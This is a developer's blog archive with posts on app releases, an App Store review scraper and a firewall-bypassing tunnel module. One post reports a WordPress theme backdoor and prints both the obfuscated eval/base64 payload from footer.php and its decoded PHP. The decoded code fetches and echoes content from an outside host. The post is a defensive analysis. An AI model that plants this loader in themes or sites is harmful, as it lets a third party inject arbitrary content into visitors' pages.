Simone Tellini » Software

Quick Sprites: CSS sprites, the easy way

Simone — Sun, 21 Aug 2011 17:02:52 +0000

The use of CSS sprites is a valuable techique for any web developer who wishes to optimize his web site, making it both faster for users and better ranked by search engines.

However, it usually involves more work to pack the images in a single sprite sheet and to update them when the site evolves.

If you never used this technique for this reason, now you won’t have any excuse left: Quick Sprites makes creating and maintaining sprite sheets a breeze

You can see how easy is to work with Quick Sprites in this short video:

Currently available in the Mac App Store.

Scraping App Store reviews, page after page…

Simone — Wed, 27 Jul 2011 19:58:22 +0000

Someone pointed out that my little scraping script was fetching only some of the reviews of his app. Indeed, it was only considering the first “page” of results.

So, I’ve just updated it to grab ‘em all. The new version is available at the same address: here.

By the way, the script was born to get reviews from the Mac App Store, but it seems to work just fine with the iOS store as well

Feel free to send me a promo code for your app, if you really like it
(or even an iPad 2, if it changed your life )

Special Tablatures offer coming up this week

Simone — Tue, 24 May 2011 05:58:37 +0000

A very special Tablatures offer will be available this weekend at Bits du Jour: a whopping 46% off the regular price!

If the only reason why you haven’t started writing your music with Tablatures yet is because you were thinking about the price, you have no excuse now.

Don’t miss your chance to take advantage of this promotion: there won’t be another one like it anytime soon.

For further details, please visit http://www.bitsdujour.com/software/tablatures/ and click on the “I Want This” button to get notified when the promotion will start, to be sure not to miss the deal.

Scraping Mac App Store reviews

Simone — Sun, 08 May 2011 12:14:06 +0000

You have some products on the Mac App Store, you would like to know what people think of them but you can’t bother checking for reviews one store at a time?

Don’t worry, you’re not alone. I can’t understand why Apple made it so difficult to check reviews for your own products in iTunes Connect, so here’s a little PHP script that will do the dirty work for you: it’ll check all the stores and fetch all the reviews, producing an XML file per product with the most important info (review, reviewer, version of the product…).

You just need to rename the config file to macappstore.cfg.php, fill in the $products array, create an output subdirectory and execute:

1	php macappstore.php

After a while you’ll see the XML appearing in the output directory, ready for further processing.

Serendipity to WordPress

Simone — Wed, 27 Oct 2010 18:59:09 +0000

I’ve moved a couple of my blogs from Serendipity to WordPress (mostly because I’ve discovered that Serendipity has some issues with newer PHP setups, but also because I’m getting lazy and WordPress’ admin panel is nicer than s9y’s ).

Luckily someone else did already write a s9y->WP importer plugin. Sadly it didn’t support nested categories, so I changed a couple of things and here’s my Serendipity (S9Y) importer for WordPress 1.5 (hoping that noone else has already used that version number… the history of the plugin contains several authors )

One snag: after the import, you’ll need to edit one of the categories (just open and save it) to fix the hierarchy. I don’t know why and honestly I don’t care Worked for me, your mileage might vary.

Refer to this article for other useful migration tips.

LogMiner 1.23

Simone — Tue, 30 Jun 2009 08:42:32 +0000

Version 1.23 of LogMiner, my Apache/IIS log analysis package, is now available.

This release mainly fixes some build problem on modern distributions.

Also it finally includes the cleanup function I was talking about some days ago…

Snow Leopard upgrade at $29

Simone — Mon, 08 Jun 2009 17:48:08 +0000

Hey, I’m following the live coverage of WWDC and just read this nice detail… that is a good price for a little update, Microsoft should learn a lesson or two…

Backdoor in WordPress themes?

Simone — Tue, 26 May 2009 17:55:15 +0000

I was looking for a theme to use in a WordPress blog and I stumbled on this one.

Cool, I thought, I might use it… but… hey… why there’s this weird stuff in footer.php?

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eval(gzinflate(base64_decode('vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0
NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+X/3xJwBg03ECNxkm9ZINoGHTHWEC
ePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc
5K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRL
vlmYRhdKIUf3JfwEmvQNIrIbkdOpNSSe/o3KiJhSMq1Fk6i5rCV1llGS6mAH/u/
b2UPfZ+d4ApEheT2Ysya14mGnWBPQFn4R9NGrnvS8V90VDyzOqm/odSM0h5
p4HPji35xUPBWrl1S+f6f+HzHMbbgsPYDUfXI2E+ms4xPkrv7JO2RQYvBFsQBa
hOh0EIT7b8A'))); ?>

Uhm… it looks very suspicious. Too suspicious. Let’s change eval with die and check what’s all that stuff:

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error_reporting(0);
$CodeURL = "http://linkdock.com/content.php?id=&host=".
urlencode($_SERVER["HTTP_HOST"])."&uri=".
urlencode($_SERVER["REQUEST_URI"]);

if ((intval(get_cfg_var("allow_url_fopen")) ||
intval(ini_get("allow_url_fopen"))) &&
function_exists("file_get_contents")) {

echo @file_get_contents($CodeURL);

} elseif ((intval(get_cfg_var("allow_url_fopen")) ||
intval(ini_get("allow_url_fopen"))) && function_exists("file")) {

$content = @file($CodeURL);
echo @join("", $content);

} elseif (function_exists("curl_init")) {

$ch = curl_init($CodeURL);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

Yep. It definitely looks like a backdoor.

It seems that you can never be too much careful…

(it seems like the first version I’ve download is different than the one on the site mentioned above, although there’s still something evil in footer.php)

mod_tunnel for Apache 2.2.x

Simone — Sun, 12 Apr 2009 15:52:07 +0000

mod_tunnel is a simple Apache module that can be used to create TCP tunnels using your Web server. It is useful to expose services which can be reached through a proxy, bypassing firewalls.

After only 4 years since the previous version, you can now download version 2.0 which works with Apache 2.2.x (and maybe 2.0.x, but I haven’t tested it).

You’ll find it on sourceforge.

How much would it cost to rewrite it?

Simone — Mon, 02 Jun 2008 15:13:44 +0000

I’ve just added LogMiner to Ohloh, a site that offers an interesting feature: it can analyse a project source code and estimate how much it would cost to hire a development team to recreate the project from scratch.

I think that it’s a simple way to estimate the effort you put over the time in open source projects.

Here’s the resulting figure for LogMiner: